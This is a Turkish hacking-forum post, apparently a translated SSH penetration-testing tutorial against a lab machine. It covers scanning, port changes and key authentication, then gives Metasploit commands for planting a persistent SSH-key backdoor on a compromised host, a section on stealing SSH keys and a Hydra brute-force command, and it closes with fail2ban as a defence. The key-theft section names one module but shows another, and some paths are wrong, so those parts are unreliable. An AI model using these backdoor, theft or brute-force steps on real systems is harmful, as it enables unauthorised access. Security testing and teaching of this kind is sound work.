Port 22'den SSH Penetrasyon Testi / R4V3N

R4V3N

Adanmış Üye
3 Tem 2016
6,250
38
25
Kocaeli
Tüm açık portlardan denemeler yapmak hacker'ların, hemen hemen saldırılarına hazırlanmasındaki ilk adımıdır. Ve çalışması için de birinin portu açık tutması gerekiyor ama aynı zamanda da hacker korkusuyla tehdit ediliyor. Bu yüzden açık olsalar bile portlarının güvenliğini öğrenmeleri şart. Bu konuda Secure Shell diye de anılan SSH penetrasyon testi işleyeceğiz.

İçindekiler

  • SSH'e Giriş
  • SSH Kurulumu
  • SSH Port Tarama
  • SSH'e Bağlanma Yöntemleri
    • Terminal Komutu (Linux)
    • Putty (Windows)
  • Port Yönlendirme
  • Port Yönlendirme Testi
  • RSA Anahtarı Kullanarak SSH Bağlantısı Kurma
  • Métasploit ile SSH Exploit'leme
    • SSH Key Persistence - Post Exploitation
    • SSH Anahtarını Çalma
    • Pubkey kullanarak SSH Login
  • SSH Parola Crack'leme

Secure Shell'e Giriş

SSH protokolü, bir bilgisayardan diğerine güvenli ve sağlam bir şekilde uzaktan giriş kurmak için bir tekniktir. Güçlü şifreleme ile koruduğu bağlantıları ve iletişimleri, güvenliği ve bütünlüğü sayesinde güçlü kimlik doğrulama için çeşitli seçenekler sunar. Korumasız giriş protokolleri (misal telnet ve rlogin) ve sağlam olmayan dosya gönderme yöntemleri (misal FTP) için güvenli bir alternatiftir.

SSH Kurulumu

It very easy to install and configure ssh service, we can directly install ssh service by using the openssh-server package from ubuntu repo. To install any service you must have root privilege account and then follow the given below command.

SSH hizmetinin kurulumu ve yapılandırması oldukça basittir, ubuntu reposundan direkt olarak openssh-server paketini kurabiliriz. Kurmak için root yetkisi şart tabi, ardından:

Kod:
[COLOR="white"]apt install openssh-server[/COLOR]

Yukarıdaki kodu çalıştırdığınızda varsayılan yapılandırmalı halde paketin kurulumunu yapacaktır. Netstat komutu ile açılan portu kontrol edebilirsiniz.

1.png


SSH Port Tarama

Eğer host makineye direkt erişiminiz yoksa, penetrasyon testinin ilk adımı olarak kabul edilen port durumunu uzaktan tespit etmek için nmap kullanın. Penetrasyon testimizi gerçekleştirmek için biz Kali Linux kullanacağız.

Uzak ağdaki açık bir port'u tanımlamak için, yalnızca açık bir port'u tanımlamakla kalmayacak, aynı zamanda hizmetin yüklü sürümünü gösterecek bir afiş kapma gerçekleştirecek olan nmap'in sürüm taramasını kullanacağız.

Kod:
[COLOR="white"]nmap -sV -p22 192.168.1.103[/COLOR]

2.png

SSH'e Bağlanma Yöntemleri​

Terminal Komutu (Linux)

Yetkili kullanıcı olarak uzak makinenizin ssh shell'ine erişmek için aşağıdaki komutu çalıştırın.

Kullanıcı adı: ignite
Parola: 123

Kod:
[COLOR="white"]ssh [email protected][/COLOR]

Putty (Windows)

Adım 1: putty.exe'yi kurun ve çalıştırın. Sonrasında HOST IP adresi kısmına 192.168.1.103, port kısmına 22 yazın ve Connection type (bağlantı türü) kısmını SSH seçin.

4.png

Adım 2: İstemci ve sunucu arasında bir bağlantı kurmak için, giriş gerektiren bir putty oturumu oluşturulmuş olur.

Kullanıcı adı: ignite
Parola: 123

5.png

Port Yönlendirme​

Varsayılan olarak ssh, 22 port'unu dinler. Bu demektir ki eğer saldırgan kişi 22 port'unun açık olduğunu farkederse host makineyle bağlantıya geçmek için 22 port'undan saldırmayı deneyebilir. Bu yüzden sistem admini, yetkili ağdan gelebilecek bağlantı isteklerini almak için varsayılan port'u başka bir port ile değiştirerek Port Redirection veya Mapping yapmayı tercih eder.

Port yönlendirme için aşağıdaki adımları izleyebilirsiniz.

Adım 1: /etc/sshd içindeki sshd_config dosyasını editor kullanarak düzenleyin.

Kod:
[COLOR="white"]nano /etc/sshd/sshd_config[/COLOR]

6.png

Adım 2: 22 olan port kısmını 2222 olarak değiştirin ve dosyayı kaydedin.

Adım 3: SSH'i yeniden başlatın.

7.png

Port Yönlendirme Testi​

Bu sayede 22 port'unda tarama başlattığımızda ssh için port durumunun kapalı olduğunu ama altındaki kısımda 2222 port'unda açık olduğu görebilirsiniz.

8.png

RSA Anahtarı Kullanarak SSH Bağlantısı Kurma

Güçlü parolalar, sunucuyu güvenli tutmak için yeterli görünmüyor çünkü brute force saldırısıyla aşılabilecek bir durum. İşte bu yüzden SSH sunucusunun güvenliği için ek bir güvenlik yöntemine ihtiyaç duyuyoruz.

SSH anahtar çifti, istemcinin sunucuya kimlik doğrulaması için gerekli ek bir özelliktir. Uzun bir karakter dizininden meydana gelmektedir: biri açık biri de özel anahtar. Sunucu kısmına açık anahtarı, istemci makinesine de özel anahtarı girersiniz ve istemci makinesinin özel anahtarıyla bağlanarak sunucunun kilidini açarsınız. Anahtarlar eşleştiği vakit, sistem size parola girmenize gerek kalmadan otomatik olarak bir SSH oturumu kurmanız için izin veriyor.

Ssh-keygen, SSH için yeni kimlik doğrulama anahtar çiftleri oluşturmak için kullanılan bir tool'dur. Bu tür anahtar çiftleri; otomatik oturum açma, tekli oturum açma ve host kimlik doğrulaması için kullanılır.

Bir anahtar çifti oluşturmak için aşağıdaki adımları izleyebilirsiniz.

Adım 1: Ubuntu host makinesinde bir ssh anahtar çifti (id_rsa and id_rsa.pub) oluşturmak için aşağıda verilen komutu girin.

Kod:
[COLOR="white"]ssh-keygen[/COLOR]

9.png

Adım 2: Aynı işlem istemcide de yapılmalı ki host makine ile bağlantı kurmak için gerekli doğrulama işlemi yapılabilinsin.

9.png

Adım 3: Ssh anahtar çiftini (id_rsa and id_rsa.pub) oluşturduktan sonra id_rsa.pub kısmını authorized_keys olarak yeniden adlandırın.

10.png

Adım 4: .ssh dizinine kopyalayarak authorized_keys'i host makine ile paylaşın.

11.png

Adım 5: /etc/sshd içindeki sshd_config dosyasını editor kullanarak düzenleyin.

Kod:
[COLOR="white"]nano /etc/sshd/sshd_config[/COLOR]

12.png

Adım 6: “passwordauthentication no” kısmını yes yerine no yapın.

Sonuç olarak sadece rsa anahtarı olan yetkili makine, host ile şifre kullanmadan bağlantı kurabilecek.

13.png

Böylece ssh sunucusuna parola ve kullanıcı adı ile bağlanmanız gerekirse sadece yetkili anahtarı olan isteği doğrulayacağından sunucu sizin bağlantı isteğinizi düşürecektir.

15.png

Adım 7: Windows'da yetkili anahtar kullanarak bağlantı kurabilmek için id_rsa anahtarını Kali Linux'tan Windows'a kopyalayın.

Adım 8: puttygen.exe'yi kurun.

Adım 9: puttygen.exe'yi çalıştırın, id_rsa yükleyin ve "save as key" butonundan "Key" adında kaydedin

16.png

Adım 10: Hostname kısmına 192.168.1.103 ve port kısmına da 22 girerek host makine ile bağlantı kurmak için putty.exe'yi kullanın.

Adım 11: SSH -> Auth kısmına gelin ve browse diyerek adım 9'da bahsedilen kaydettiğimiz anahtarı seçin.

18.png

Bu yöntem ile Windows istemci ve sunucu arasında parola kullanımı gerektirmeden ssh bağlantısı kurabilirsiniz.

Métasploit ile SSH Exploit'leme

SSH Key Persistence - Post Exploitation

Host makineden taviz vererek bir meterpreter oturumu edindiğiniz ve bir dahaki sefere ters bağlantı sağlayacak kalıcı bir backdoor bırakmak istediğinizi düşünün.

Bu olay, host makinede port 22 açık ise, “SSH Key Persistence-a post exploit” adındaki Métasploit modülünün yardımı ile gerçekleştirilebilir.

Bu modül, belirli bir kullanıcıya (veya hepsine) bir SSH anahtarı ekleyecek ve SSH ile kurbana istediğiniz zaman uzaktan bağlanabileceksiniz.

Kod:
[COLOR="white"]use post/linux/manage/sshkey_persistence
msf post(sshkey_persistence) > set session 1
msf post(sshkey_persistence) >exploit[/COLOR]

Resimde de görebileceğiniz üzere /home/ignite/.ssh kısmına yetkili anahtarlar ekledi ve /root/.msf4/loot içine de özel bir anahtar depoladı.

20.png

Bunu host bilgisayar makinesini 22 numaralı port üzerinden bağlayarak ve burada oluşturulan özel bir anahtar kullanarak bağladığımız için, private kısmını “key” olarak yeniden adlandırdım ve 600 izni verdim.

Kod:
[COLOR="white"]chmod 600 key
ssh -i key [email protected][/COLOR]

21.png

Bu kadar basit! Herhangi bir yığılma olmadan çalışıyor ve bu yolla ssh anahtarını kalıcı bir backdoor olarak kullanabiliriz de.

SSH Anahtarını Çalma

Host makineden taviz vererek bir meterpreter oturumu aldığınızı, 22 port'unun ssh için açık olduğunu ve SSH açık anahtarını ve yetkili anahtarını çalmak istediğinizi düşünün. Bu olay “Multi Gather OpenSSH PKI Credentials Collection -a post exploit” isimli modül ile gerçekleştirilebilir.

Bu modül, hedef makinede tüm kullanıcıların .ssh dizinlerinin içeriğini toplayacak. Buna ek olaraktan known_hosts, authorized_keys ve diğer dosyaları da indirecek. Bu modül birçok açıdan firefox_creds.rb modülüne dayanır.

Kod:
[COLOR="white"]use auxillary/scanner/ssh /ssh_login_pubkey
auxiliary (scanner/ssh /ssh_login_pubkey)>set rhosts 192.168.1.103
auxiliary (scanner/ssh /ssh_login_pubkey)>set username ignite
auxiliary (scanner/ssh /ssh_login_pubkey)>set key_path /root/.ssh/id_rsa
auxiliary (scanner/ssh /ssh_login_pubkey)>exploit[/COLOR]

24.png

Bu, aşağıdaki komutu çalıştırarak meterpreter oturumunda daha da güncelleştirilebilen bir komut oturumu verecektir.

Kod:
[COLOR="white"]sessions -u 1[/COLOR]

25.png


SSH Parola Crack'leme

SSH'de penetrasyon testi yaparken parolayı tahmin etmek veya eşik politikasını test etmek için ssh'e brute force saldırısını deneyebiliriz. Bize gereken birer kullanıcı adı ve parola listeleri. Elimizde, kullanıcı adı listesi olan user.txt ve parola listesi olan pass.txt var. Hydra yardımı ile brute force saldırısını gerçekleştirebiliriz.

Kod:
[COLOR="white"]hydra -L user.txt -P pass.txt 192.168.1.103 ssh[/COLOR]

26.png

Sonuçta görebileceğiniz üzere host makinede brute force saldırısına karşın herhangi bir savunma mekanizması bulunmamakta ve biz de ssh bilgilerini çekebilmekteyiz.

Kendi hizmetinizi brute force saldırısına karşın korumak için bir IPS olan fail2ban kullanabilirsiniz.

Aşağıdaki resimde, bu sefer bir brute force saldırısı açmayı denediğimizde bağlantı isteğimizin düştüğünü görebilirsiniz.

27.png


 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.